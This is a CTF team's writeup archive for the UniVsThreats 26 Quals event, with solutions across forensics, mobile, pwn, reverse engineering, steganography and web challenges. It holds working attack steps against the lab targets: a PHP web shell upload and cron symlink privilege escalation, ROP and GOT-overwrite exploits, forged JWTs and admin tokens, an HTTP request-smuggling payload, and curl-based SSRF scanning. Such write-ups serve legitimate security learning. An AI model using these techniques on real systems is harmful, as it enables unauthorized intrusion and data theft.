Skip to content
Back to Writeups
Event Recap

UniVsThreats 26 Quals: Full Event Archive

A site-native UniVsThreats 26 Quals event writeup that preserves Alpet Gexha's full challenge archive in one place.

UniVsThreats 26 Quals CTF February 27, 2026 by Alpet Gexha

Event Snapshot

Organizer: West University of Timisoara

Team: KSAL Cyber Team

Result: 4th place overall

Official site: UniVsThreats 26 Quals

This page is the site version of Alpet’s full UniVsThreats event repo.

Instead of breaking the event into a pile of tiny posts, we are keeping the entire challenge archive together here so the solve record stays readable, complete, and easy to share from one place.

Full Challenge Archive From The Event Repo

The sections below are copied into this writeup from the original event notes so the full challenge set lives here on the site.

Blockchain

Andromeda Casino - Cards

Point: 182

Welcome back to Andromeda Casino! No rest for the wicked, eh? I bet one flag you can’t win the cards game!

NOTE: Please download the challenge files and use them to get a working solution locally before connecting

Andromeda Casino - Horses

Point: 132 Welcome to the greatest casino in the whole Andromeda Galaxy! Your fun is about to be astronomical!

Judging by your communication frequencies, you must be new ‘round here, so let me give you a tip. Go to the Casino’s Exchange and ask them for some free tokens. If you can multiply them, you’re in for a stellar treat!

But be careful to pay ‘em back in time, or else…

NOTE: Please download the challenge files and use them to get a working solution locally before connecting remotely.

Crypto

Voyager’s Last Command

Point: 50

Year 2387 You have established an uplink to the Voyager-X probe via an emergency telemetry relay.

Forensics

Bro is not an astronaut

Point: 50

Additional Writeup Notes

50 points

While we were scouring through space in our spaceship, conquering through the stars and planets, our team found A LONE USB STICK! FLOATING THROUGH SPACE INTACT!!! WHY?!?! HOW?!?!!? HOW IS THAT POSSIBLE?!?!?!

Anyway…

We have found this USB stick (how) that seems to contain some logs of a long lost spaceship that may have been destroyed. The USB stick seems to have been made with a material that we do know of, but its contents are intact, although it seems data is either corrupted, deleted or encrypted. Someone wanted to get rid of it… I wonder why🤔

Find out what happened here and retrieve the useful information

1) Parse GPT and Locate Partitions

The image has GPT (EFI PART) and two partitions:

  1. ASTRA9_USER (FAT32, live files)
  2. ASTRA9_CACHE (ext4, deleted artifacts)

2) Read Live Files from FAT32

  • /logs/crew_log.txt
  • /nav.bc
  • /payload.enc
  • /readme.txt

Important clues:

  • Crew log gives token prefix: ASTRA9-
  • Crew log + debrief mention encrypted telemetry fragments in cache
  • Debrief states:
    • fragment format uses TLM header
    • sequence field is at offset 4
    • XOR key is in diag_key.bin
    • reassemble in sequence order

3) Recover Deleted ext4 Files

The script parses ext4 directly and recovers deleted regular files (links==0, dtime!=0).

Recovered critical inodes:

  • inode 20: 16-byte high-entropy blob (diag_key.bin candidate)
  • inode 21..31: TLM fragments with sequence values
  • inode 18: BRO-1337
  • inode 17: 32-byte seed candidate (used by payload decoy path)

4) Reassemble TLM Alpha/Bravo/Charlie (Real Flag Path)

The corrected solver does:

  1. Select TLM fragments with sequence 1, 2, 3 (alpha/bravo/charlie).
  2. Read declared per-fragment length from header bytes [5:7] (little-endian).
  3. XOR candidate windows in each fragment body using inode 20 as key.
  4. Score windows for flag-like charset and boundary checks:
    • seq 1 should begin with UVT{
    • seq 3 should end with }
  5. Pick best window per fragment and concatenate in sequence order.

Recovered parts:

  • seq1: UVT{d0nt_k33p_d1G
  • seq2: G1in_U_sur3ly_w0N
  • seq3: t_F1nD_aNythng_:)}

Concatenated real flag:

  • UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}

5) Payload Path (Decoy)

airlockauth logic is still valid:

  1. h1 = SHA256(nav.bc)
  2. h2 = SHA256(seed32 || token || h1)
  3. payload.enc XOR h2

With ASTRA9-BRO-1337 + inode 17 seed, this decrypts to:

  • UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}

This looks like a flag but is a decoy message.

Final

Use the telemetry-reassembled output:

  • UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}

Misc

ShadowRoute

Point: 365

The Helios Space Station has been operational for two years, orbiting Earth at 400km altitude. Recently, ground control detected anomalous network activity from the station’s internal systems. Your mission: intercept the data stream and identify the unauthorized beacon before the station completes its next orbit. Good luck hunting the unfindable.

Credentials: pilot:docking-request

1. Initial Access & Discovery

  • Connect: SSH into the restricted shell using pilot / docking-request.
  • Enumerate: Use the allowed nmap command to scan 127.13.37.0/24 and locate the dynamic internal station host (e.g., 127.13.37.46).
  • Tunnel: Port-forward the internal web service (9043) and file archive (8445) to your local machine.

2. Web Exploitation (www-data)

  • Credentials: Extract the Stargate panel credentials (astrid / apollo1) from the transmission.txt file located on the internal file archive.
  • Authenticate: Log into the Stargate dashboard.
  • RCE: Upload a PHP web shell disguised as a telemetry file. The application accepts .php extensions and executes them, granting www-data access in /var/www/html/cosmos-data/.

3. Privilege Escalation (Root)

  • Identify Cron Job: A root-level cron job executes /home/nova/orbit-sync.sh every minute and copies files from the web upload directory to /var/backups/telemetry/.
  • Symlink Abuse (Step 1): Create a symlink in the web upload directory pointing to /home/nova/orbit-sync.sh. The root cron job copies this, creating a mirrored symlink in the destination folder.
  • Symlink Abuse (Step 2): Replace your original symlink with a malicious bash script.
  • Execution: On the next cron tick, the root copy operation traverses the destination symlink, effectively overwriting the actual root script with your payload. The subsequent tick executes it, dumping the contents of /root/root.txt into the web directory.

4. The Flag

UVT{y0u_f0und_m3_1n_4_d4rk_c0rn3r_fr0m_4_sh4d0w_t3rm1n4l_h0peFully_y0U_WoUlD_r3MemBer_M3!!!_1_will_watch_yOur_m0v3s_frOm_h3r3}

We are the Universe!

A mysterious bot has docked in our server carrying a broken launch key split into four fragments. The first fragment is hidden in plain sight, a round view of something that was never meant to be round.

When the time comes, a global launch event will trigger. To ignite the engines, you must gather in the voice hangar and stand together at the shuttle. Each crew member must take a position and recite the launch chant in the correct order, a familiar tune that starts with:

This is the only phase of the challenge where you are allowed to collaborate. Coordinate in voice, then set your nicknames to assemble the chant in order, one word per person, using numbered names like:

1 FIRST 2 WORD 3 OF 4 THE 5 CHANT …

If the chant is assembled perfectly, the next fragment will drop and the final phase of the mission will unlock.

Engines ignited - perfect chant! Part 3: _m0n3Y_R0b0tI1

Part 1:

We Scan the QR code from the bot on discord

I_W1lL5Hu7

Part 2:

  • collected 21 image from the bot
  • use that image as 0 and 1 (black 1 and white 0) to decode a binary stream
  • merge into matrix
  • find the best combination and using PIL we make an QR code and get the flag

Part 3:

_m0n3Y_R0b0tI1

Part 4:

  • Record the bot on the discord channel and use the audio to decode the final flag pi po pi po po po po po pi po pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi po

  • using the 2-tone FSK decoding we get the binary stream and decode it to ascii to get the final flag

_r1ckr0ll3dy@ll

Part 1: I_W1lL5Hu7

Part 2: Up_f0R

Part 3: \_m0n3Y_R0b0tI1

Part 4: \_r1ckr0ll3dy@ll

Flag:

UVT{I_W1lL_5Hu7_Up_f0R_m0n3Y_R0b0tI1_r1ckr0ll3dy@ll}

Mobile

Irondrop

Point: 494

A decommissioned space relay is still forwarding “secure” command traffic through a hardened Android client. The app is packed with anti-root and anti-instrumentation checks, and it speaks a custom binary protocol over raw TCP.

Your mission: reverse the client, reproduce the protocol logic, gain privileged access to the relay inbox, and extract the classified transmission The app doesn’t run in unsafe environments.

Solution

3) IronDrop

Recon App communicated over raw TCP using a custom binary protocol. Frames were structured as: cmd (1 byte) | length (2-byte little-endian) | payload. Mapped out the main commands:

  • 0x01/0x02/0x03/0x04 — handshake, challenge, login proof, session
  • 0x10/0x11 — list inbox / inbox payload
  • 0x20/0x21 — read message by ID / message payload

Reversing the login proof The native function at offset 0x18ec0 handled auth. It builds a proof like this:

  • If password length ≤ 255: h1 = SHA256(challenge XOR SHA256(password))
  • If password length > 255: h1 = SHA256((0x42 × 32 bytes) || challenge)
  • Then: core = u8(len(username)) || username || h1
  • Then: msg = challenge || core || "IRONDROPv2"
  • Then: h2 = SHA256(K1_CONST || msg), h3 = SHA256(K2_CONST || h2)
  • Final proof sent to server: core || h3[:16]

The bug Username length is cast to a single unsigned byte before being serialized. A 256-character username wraps to 0x00. Pairing that with a 300-character password (to force the long-password branch) produced a proof the server accepted with elevated privileges instead of a guest session.

Exploit Sent login with username = "A" × 256 and password = "A" × 300, got a privileged session, then used 0x10 to list the inbox and 0x20 to read each message until the flag appeared.

Root cause: Integer overflow on username length + an alternate crypto branch combined to trick the server into granting higher access than intended.

Flag: UVT{2d9734481e93a68cdd560f2cf4833bbde20e21850361587a62cb7f9ed661dda9}

Phantomgate

Point: 261

Deep in the outer-ring stations, PhantomGate protects command access to a classified orbital network. You intercepted only an Android APK and the remote gateway endpoint. Somewhere inside the app is the path to forge an admin authentication proof and unlock the control channel. Reverse the client, break the protection layers, and breach the gate before the auth window collapses. The app doesn’t run in unsafe environments. At some point you will need to get the api system time.

Solution

Recon /api/time leaked server time and confirmed a 30-second TOTP window. /api/admin/flag told me exactly what it needed:

  • X-Admin-OTP — 6-digit code
  • X-Admin-Token — 44 hex chars
  • X-Admin-Nonce — 24 hex chars
  • X-Caller-UID

Reversing The Java layer was just glue — the real logic lived in libphantom_crypto.so. Inside I found:

  • A hardcoded admin account identifier (admin_backup)
  • A 20-byte admin TOTP key: a9a4072ac55133f0b39ddbd6261a61b5d4d71df2
  • A 32-byte global key: f38a1c67bb42e9053dc8a7519f2e764b18d365ae7c0f9238e4b72a5cd981f643
  • Standard HOTP truncation over HMAC-SHA1, mod 1,000,000 for the OTP

Token construction (reverse engineered from native code):

  1. derived_key = SHA256(global_key[:16] || uid_as_le32)
  2. Generate a ChaCha20 keystream (counter=1, your nonce)
  3. XOR the 6 OTP bytes with the keystream prefix → 6-byte ciphertext
  4. tag = SHA256(ciphertext || derived_key)[:16]
  5. Final token = ciphertext + tag = 22 bytes = 44 hex chars

Exploit Grabbed server time, computed the OTP for the current slot (±1 for clock skew), generated a nonce, built the token with the above steps, sent all headers together.

Root cause: Every piece of the auth puzzle — TOTP seed, token algorithm, crypto keys — was sitting in the app binary.

Flag: UVT{5db27607b1ba5395e8e24be2ab2dad0ef0ccf744b6966be51ef8b58d6583e681}

Vault

Point: 89

VaultDrop is an orbital vault client, used by pilots to sync encrypted manifests from a remote station node. A breach alert reports that one docked client can query more than it should, and command suspects privilege escalation issues. The app doesn’t run in unsafe environments.

Solution

1) Vault

Recon Started by poking the live API — health check, register, login, file listing. Nothing unusual, so I moved on to the APK.

Reversing Decompiled the app and found it was making JNI calls into native code. Three functions stood out:

  • getAppJwtSecret — the one that mattered
  • decryptConfig
  • getDbPassphrase

Inside getAppJwtSecret, the app builds a 48-byte buffer: the first 32 bytes are a hardcoded seed pulled from the binary’s read-only data section, and the last 16 bytes are the literal string vaultdrop.jwt.v2. It then SHA256s the whole thing and uses the hex output as the JWT signing secret.

Extracted seed:

1ec2a7b1be9e59fa7a0ff354f12ac8d3a1e646a923cbe5f84e91ac5a0b23eccf

Derived secret:

4536ecd6d1c79c770306392bc7e20b0045437682694d3db5ab77220b8b5d76db

Exploit Registered a real user (the server required sub to match an existing account), then forged an HS256 JWT with role=admin. Sent it to GET /api/admin/flag and got the flag.

Root cause: The JWT signing key was fully recoverable from the app binary.

Flag: UVT{bbc14e49545f9781161c415081aaac03709fa9f2dcdda458daee0d8c0ba8f9cf}

Whisper

Point: 100

A deep-space relay known as Whisper streams encrypted telemetry from orbital stations. Your mission is to analyze the Android client and recover the access token used by the control API. Something in the local signal path is leaking more than it should. Capture the right artifact, authenticate to the relay endpoint, and retrieve the flag.

Pwn

Miller’s Planet

Vulnerability

  • vuln() reads input with gets() into a stack buffer when the provided size is <= 0x100.
  • Stack canary is disabled and PIE is off, so RIP can be reliably overwritten with static addresses.
  • The binary also has a useful sequence at 0x401249: mov rdi, rax; call system; ....

Exploit Idea

  1. Send 1 as the first size to enter the stack-input branch and trigger a classic stack overflow.
  2. Overwrite RIP with: ret (0x401164) -> vuln (0x4013a0) -> mov rdi, rax; call system (0x401249) -> fake rbp -> main re-entry (0x40146f).
  3. During the second vuln call, send 300 so input is stored on heap, then send the command string.
  4. gets() returns the heap pointer in RAX, gadget moves it into RDI, and system(command) executes.

Run

python solve.py --host 194.102.62.175 --port 28351

Flag

UVT{wh0_n33d5_10_stdfile_0_l0ck_wh3n_y0u_hav3_r0p_bWlsbGVyIHMgcGxhbmV0IGlzIGNyYXp5}

Point: 56

Humanity engineered this system piece by piece, launching thousands of mass produced nodes until the sky was more wire than void. To solve this issue, they developed an autonomous system that can rid the sky of them automatically when there are too many nodes.

The system rids the sky of nodes by physically colliding with them, but a glitch causes a chain reaction. Instead of cleaning, it creates a ‘Kessler Syndrome’ event a cloud of supersonic shrapnel that traps humanity on Earth.

Can you stop this rogue system and free humanity from this lethal cage?

Vulnerability Summary

  • Startup format string leak: %29$p gives libc leak (__libc_start_main+0x8b).
  • Heap overflow in Update: strcpy(node->content, input) lets us overwrite next.
  • Partial RELRO: writable GOT, so free@GOT can be replaced.

Minimal Exploit Flow

  1. Leak libc with %29$p.
  2. Compute libc_base = leak - 0x2a28b, then resolve system.
  3. Create one node with name as command, e.g. cat flag*;cat /flag*.
  4. Overflow with b"A"*0x107 + p64(0x403fe7) to set fake next.
  5. Update using empty name "" with p64(system) to overwrite free@GOT, then delete the command node to trigger system(name).

Key Constants

  • free@GOT = 0x404000
  • fake_node = 0x403fe7 (fake_node + 0x19 = free@GOT)
  • overflow offset to next = 0x107
  • libc leak offset = 0x2a28b
python exploit.py HOST=194.102.62.175 PORT=21434

Flag:

UVT{wh444t_h0us3_0f_sp1r1t_1n_th3_b1g_2026_ph4nt4sm4l_ph4nt4smagor14_1s_1t_y0u_06112009_JSdlsadasd8348Gh}

Rev

Bro is not a space hacker

Point: 52

Congratulations earthling! You found the culprit that deleted those files…

By investigating the USB further, a team member found out that there is a program that would unlock the airlock of that spaceship.

Your mission is to reconstruct the access chain, verify the airlock authentication path and recover the hidden evidence that explains who triggered the wipe, why it was done and what was meant to stay buried.

Soulution

Access chain reconstructed

  1. crew_log.txt gives token prefix: ASTRA9- and says the second half is in secure cache.
  2. Deleted cache file inode_18.bin contains: BRO-1337.
  3. Full token: ASTRA9-BRO-1337.
  4. Running airlockauth inside analysis/fat with that token returns signal verified (wrong token returns access denied).

Airlock auth path (reversed)

  1. Read seed32.bin, nav.bc, payload.enc.
  2. Compute h1 = SHA256(nav.bc).
  3. Compute k = SHA256(seed32.bin || token || h1).
  4. Decrypt payload.enc with repeating-key XOR using k.
  5. Check decrypted data starts with UVT{.

Hidden evidence

  1. inode_19.bin (mission debrief) is authored by Lt. Orin Voss and documents anomalous EM readings from cargo bay C-7, then cache purge instructions.
  2. crew_log.txt records that diagnostics confirmed wipe request and marked /diagnostics and /tmp for deletion.
  3. Inference: wipe was intentionally triggered by maintenance/diagnostics under Voss’s direction to bury C-7 telemetry evidence.
  4. The buried secret is the decrypted payload above (the flag).

Flag:

Flag: UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}

Satellua

Point: 132 You’ll reach the flag no matter what it takes, right?

Solution

  • main loads an embedded custom Lua 5.5-like chunk from .data (unk_6302E0, size dword_6302C0 = 9,742,391) and executes it.
  • In sub_405800, every runtime error updates a counter. At each 0x111088-th hit, one flag byte is emitted:
    • collapsed = xor(all 8 bytes of thrown 64-bit value)
    • flag[i] = byte_4227E0[i] ^ collapsed
  • byte_4227E0 starts at 0x4227e0:
    • 64 0d ae f1 be 1f 6c f5 38 01 f3 e5 07 e0 98 6d f4 fd 4e 20 00 fd 46 df c4 fa 0d 4d c2 ac ...
  • Brute-running was intentionally slow, so I instrumented early throws and derived the exact recurrence for thrown values:
    • x1 = 0x1fff000
    • x(n+1) = splitmix64(x(n) + 0x9E3779B97F4A7C15)
    • splitmix64(z) = ((z ^ (z>>30)) * 0xBF58476D1CE4E5B9; (z ^ (z>>27)) * 0x94D049BB133111EB; z ^ (z>>31)) mod 2^64
  • Evaluating this at indices n = k * 0x111088 and XORing with the key bytes yields:
    • UVT{R3turn_8y_Thr0w_Del1v3r3r}

Flag

UVT{R3turn_8y_Thr0w_Del1v3r3r}

Sea of Fire

Point: 289

At the bottom of the sea, you find an ancient disc-like relic. A true UFO!

By sheer luck, you breach the entrance and go inside to explore. What could possibly go wrong?

Well, tripping over some circuit that lights up the interior, awakening dormant aliens. You run for your life, but get lost in a sprawling maze that, defying all known laws of physics, dwarfs the outer shell

Shaking violently, the now-activated UFO beams into outer space. Hurry up and turn this thing off before it collides with a dying star!

Soulution

looking at the game files showed it was a Unity IL2CPP build.

Using cpp2il dumps, i read the code and discovered the check took place in _odc70232313.ValidatePassword, which runs a custom VM.

Next i used UnityPy to read level1 and get the path of instructions, from beginning to end (which i found in RoomInstructionTrigger components in level1).

then i reversed the vm opcodes and lookup table.

after that i had chatgpt make me a python script that ran it in reverse and that checked that the input that was found met the final condition (top = 1).

Flag

UVT{Fly_m3_in70_a_5Up3rn0vA}

Starfield Relay

Point: 50

A recovered spacecraft utility binary is believed to validate a multi-part unlock phrase. The executable runs a staged validation flow and eventually unlocks additional artifacts for deeper analysis. Your goal is to reverse the binary, recover each stage fragment and reconstruct the final flag.

This crackme is a staged builder: each stage validates a fragment and appends it to a running string. After stage 10, the concatenation is the flag.

Stage 1

  • Prompt: base prefix (4 chars)
  • Check is direct memcmp(..., "UVT{", 4).
  • Fragment: UVT{

Stage 2

  • Prompt: 3-char fragment
  • Helper function builds expected string directly:
    • bytes: 0x4b 0x72 0x34
  • Fragment: Kr4

Stage 3

  • Prompt: stage2 token (8 chars)
  • Constraint per byte:
    • 7*i + (in[i] ^ (17*i + 109)) + 19 == target[i]
    • target = 0xC5E42C25FADC2431 (little-endian bytes)
  • Inverting gives:
  • Fragment: st4rG4te

Stage 4

  • Prompt: token (8 chars)
  • Constraint per byte:
    • 3*i + (in[i] ^ (-89 - 11*i)) == target[i]
    • target = pack("<II", -307768873, 1231567188)
  • Inverting gives:
  • Fragment: pR0b3Z3n

Stage 5 (no input)

  • VM bytecode is decoded and interpreted (sub_140117D90 + sub_140118090).
  • VM output is hashed and compared against embedded target.
  • Recovered output:
  • Fragment: THEN-

Stage 6 (payload extraction, no fragment)

  • This stage extracts the embedded stage2 payload and verifies it via stage2.sha256.
  • It does not require user input and does not contribute a new typed fragment.

Stage 7 (starfield pings)

  • File: stage2/starfield_pings/pings.txt
  • Filter on ttl=1337, use time as 5-bit symbols.
  • Decoder maps are split by symbol parity:
    • even symbols use map_even_xor52
    • odd symbols use map_odd_rev_xor13
  • Decoded fragment:
  • Fragment: uR_pR0b3Z_xTND-

Stage 8 (logs)

  • File: stage2/logs/system.log
  • Use subsys="zen" entries, order by slot, XOR fragx with key k.
  • Concatenation gives base64 text:
    • SV9oMUQzX2luX2wwR3pf
  • Base64 decode:
  • Fragment: I_h1D3_in_l0Gz_

Stage 9 (void island)

  • File: stage2/void/zen_void.bin
  • Apply key 0x2a to the correct non-zero island in the valid void range.
  • Matching fragment:
  • Fragment: 1n_v01D_

Stage 10 (final)

  • Key rule from readme:
    • key = sum(bytes(stage8_text)) % 256
  • From stage 8:
    • sum(b"1n_v01D_") % 256 = 0x78
  • Decode the next island with 0x78:
  • Fragment: iN_ZEN}

Reconstructing the final flag

Concatenate stage fragments in order:

  1. UVT{
  2. Kr4
  3. st4rG4te
  4. pR0b3Z3n
  5. THEN-
  6. uR_pR0b3Z_xTND-
  7. Ih1D3_in_l0Gz
  8. 1nv01D
  9. iN_ZEN}

Result: UVT{Kr4st4rG4tepR0b3Z3nTHEN-uR_pR0b3Z_xTND-I_h1D3_in_l0Gz_1n_v01D_iN_ZEN}

Stegano

Stellar Frequencies

Point: 50

A layered audio transmission masks a space message within a thin, high‑frequency band, buried under a carrier. With the right tuning, the faint signal resolves into a drifting cipher beyond the audible, like a relay echoing from deep space. Ready to hunt the signal and decode what’s hiding between the bands?

Solution

sox frequencies.wav -n spectrogram -o output.png

Flag

UVT{5t4sh1p_3ch03s_fr0m_th3_0ut3r_v01d}

Where is everything

Point: 50

HTTP 404: Everything Not Found

Writeup

The folder already contains all puzzle artifacts and helper scripts:

  • empty.txt (looks blank, but has space/tab data)
  • empty.png (looks empty, but has LSB data)
  • empty.js (contains a big hidden VOID_PAYLOAD)
  • scripts: another.js, extract_png.js, script.js, flag.js

1) Decode the hint from empty.txt

Run:

node another.js

This decodes spaces/tabs into text and gives the important clue:

  • inspect empty.png
  • use the blue channel LSB
  • sample every third pixel
  • recovered text will unlock the hidden payload

2) Extract the ZIP password from empty.png

Install dependency once:

npm install

Then run:

node extract_png.js

Key output:

ZIP_PASSWORD=D4rKm47T3rrr;END

So the password is:

D4rKm47T3rrr

3) Rebuild the hidden archive from empty.js

Run:

node script.js

script.js extracts VOID_PAYLOAD from empty.js, maps zero-width chars to bits:

  • \u200B -> 0
  • \u200C -> 1

and writes the bytes to flag.zip.

4) Decrypt/extract flag.zip

Run:

tar --passphrase 'D4rKm47T3rrr' -xf flag.zip

This extracts flag.png.

5) Get the flag from flag.png

Run:

node flag.js

It prints the embedded flag string:

`UVT{N0th1nG_iS_3mp7y_1n_sP4c3}`

Flag

UVT{N0th1nG_iS_3mp7y_1n_sP4c3}

Web

Nightmare Customer

Point: 51

You stumble upon the infamous online tech shop called “Cosmic Components Co.” Their entire business model seems designed to rip off individual customers while raking in billions and billions of dollars from deals with AI Data Centers.

Exploit their website and buy all the products to show them that the regular costumer shouldn’t be neglected!

The core bug is persistent coupon stacking.

  • Endpoints:
    • POST /cart/add
    • POST /cart/coupon
    • POST /cart/remove
  • Coupons NEWCUSTOMER10 and SPACESALE15 are intended for Product 1, but their discount effect can remain active after Product 1 is removed.
  • Repeating this loop increases effective discount globally:
    1. Add Product 1
    2. Apply both coupons
    3. Remove Product 1

Tier progression (/wallet-ledger) depends on purchases: Rookie -> Silver -> Gold -> Platinum -> Diamond -> Elite.

The /flag route is blocked until Elite status, so the exploit goal is:

  1. Stack discounts with Product 1 loop until items are affordable.
  2. Buy products in progression-friendly order: 1 -> 2 -> 6 -> 3 -> 4 -> 5.
  3. Reach Elite and complete buy-all-products condition.
  4. Open /flag.

Flag

UVT{sp4c3_sh0pp3r_3xtr40rd1n41r3_2026}

Revenge of Sea-Side Contraband

  • Provided creds from PDF:
    • Username: AlexGoodwin
    • Password: Pine123

Old path confusion variants (like //localhost/admin) are also blocked in this revenge instance.

Clue interpretation (why smuggling)

Two important hints from app content:

  • Gateway log:
    • “Forwarding path now strips duplicate transfer directives…”
    • “Do not split maintenance sequences across separate channels.”
  • Comms feed:
    • “I sent the two pieces…”
    • “it only works when it stays on the same line.”

This points to parser/channel disagreement and two-piece single-line delivery: classic request smuggling clueing.


Validate desync behavior

When sending both Content-Length and Transfer-Encoding: chunked, behavior changes vs normal requests.
This indicates front-end/back-end parsing mismatch.

The successful path here is TE.CL:

  • Front-end honors chunked framing.
  • Back-end honors Content-Length.

Smuggle backend GET /admin and steal relay_auth

Use a raw socket request.
Key trick: place GET /admin ... as chunk data and set Content-Length small so backend desyncs and parses hidden request.

Just to be Clear we use Brup Suite to get the flag for the writeup we simulate on the curl

Working raw request structure

POST /forum/post HTTP/1.1
Host: 194.102.62.166:24956
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Connection: keep-alive

33
GET /admin HTTP/1.1
Host: 194.102.62.166:24956


0

GET /forum HTTP/1.1
Host: 194.102.62.166:24956
Cookie: session=<SESSION>
Connection: close

Observed response included:

  • First response: 302 from /forum/post
  • Second smuggled response: 200 OK from /admin
  • Header:
    • Set-Cookie: relay_auth=<value>; Path=/admin; HttpOnly; SameSite=Lax

That relay_auth is what we need.


Access admin and SSRF endpoint

After setting both cookies:

  • session=<...>
  • relay_auth=<...> (Path /admin)

GET /admin returns admin panel and inventory probe UI.
POST /admin/relay accepts:

  • form field: inventory_node

Example:

curl -s -b ctf_cookie_24956.txt -X POST "http://194.102.62.166:24956/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.21:9100/inventory/stock/check?HarborId=1"

Expected: Status: 200 and inventory JSON.


Scan loopback SSRF range

Scan 127.0.0.1 to 127.0.0.254 on port 9100 through /admin/relay.

Live nodes found:

  • 127.0.0.21
  • 127.0.0.241

Enumerate hidden node and get flag

Known path still works, but node changed vs older instance.

Final path:

  • http://127.0.0.241:9100/drops/pacific/batch-44c/vault/sealed/flag

Response contains:

Final Flag

UVT{N0w_Y0u_R34lLy_Pr0v3d_y0ur53lf_MrP1n3}


Sea-Side Contraband

Known intel from PDF:

  • Username: AlexGoodwin
  • Password: Pine123
  • Hint words: internal network, relay checks, stock queries.

Note: we use burp suite for the but for the writeup we simulate on the curl

Step Bypass Admin with path confusion

This path works:

  • http://194.102.62.175:27457//localhost/admin

Curl version:

curl -i --path-as-is -b ctf_cookie.txt -c ctf_cookie.txt \
  "http://194.102.62.175:27457//localhost/admin"

Expected:

  • HTTP/1.1 200 OK
  • Set-Cookie: relay_auth=...; Path=/admin
  • Admin page contains Harbor Inventory Probe Console

Why this matters:

  • /admin trusts relay_auth cookie, which gets set by the //localhost/admin route.

Use the Inventory Probe SSRF

From admin page, stock probe sends requests to:

  • POST /admin/relay
  • parameter: inventory_node

Default node values:

  • http://127.0.0.21:9100/inventory/stock/check?HarborId=1
  • http://127.0.0.21:9100/inventory/stock/check?HarborId=2
  • http://127.0.0.21:9100/inventory/stock/check?HarborId=3
  • http://127.0.0.21:9100/inventory/stock/check?HarborId=4

Test command:

curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.21:9100/inventory/stock/check?HarborId=1"

Expected in HTML response:

  • Status: 200
  • JSON from internal service (inventory-adapter)

Identify input validation behavior

Important validation discovered:

  • Host must be dotted decimal IP.
  • Host must stay in 127.0.0.1 to 127.0.0.254.

Examples:

  • http://localhost:9100/ -> rejected (Inventory node IP must be dotted decimal.)
  • http://10.0.0.1:9100/ -> rejected (Node IP must stay within 127.0.0.1-254.)

So the relay is basically a loopback SSRF proxy with range restriction.


Scan allowed loopback range

Because only 127.0.0.x is allowed, scan 127.0.0.1-254 on port 9100 via /admin/relay.

Quick Python scanner:

import requests, re, html

base = "http://194.102.62.175:27457"
s = requests.Session()
s.cookies.set("session", "<SESSION_COOKIE>", domain="194.102.62.175", path="/")
s.cookies.set("relay_auth", "<RELAY_AUTH_COOKIE>", domain="194.102.62.175", path="/admin")

for i in range(1, 255):
    ip = f"127.0.0.{i}"
    node = f"http://{ip}:9100/"
    r = s.post(base + "/admin/relay", data={"inventory_node": node}, timeout=8)
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
    if m:
        block = html.unescape(m.group(1))
        if "Status: 200" in block:
            print(ip, "LIVE")

Live nodes found:

  • 127.0.0.21:9100 (known inventory service)
  • 127.0.0.230:9100 (new internal node)

Step Enumerate second internal node

Request:

  • inventory_node=http://127.0.0.230:9100/

Response shows directory listing:

  • ops
  • manifests
  • drops
  • logs
  • notes.txt

Follow listings recursively. The useful branch:

  • /drops/pacific/batch-44c/vault/sealed/flag

Read flag endpoint

Final command:

curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag"

Response contains:

  • Status: 200
  • UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}

Final Flag

UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}


One-Shot Reproduction

I imporovised a one-shot script to do all the steps in one go (I used Burp for the that but here is a curl version)

# 1) Login
curl -s -c ctf_cookie.txt -X POST "http://194.102.62.175:27457/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=AlexGoodwin&password=Pine123" > /dev/null

# 2) Get relay_auth through admin bypass path
curl -s --path-as-is -b ctf_cookie.txt -c ctf_cookie.txt \
  "http://194.102.62.175:27457//localhost/admin" > /dev/null

# 3) Pull flag from internal node
curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag"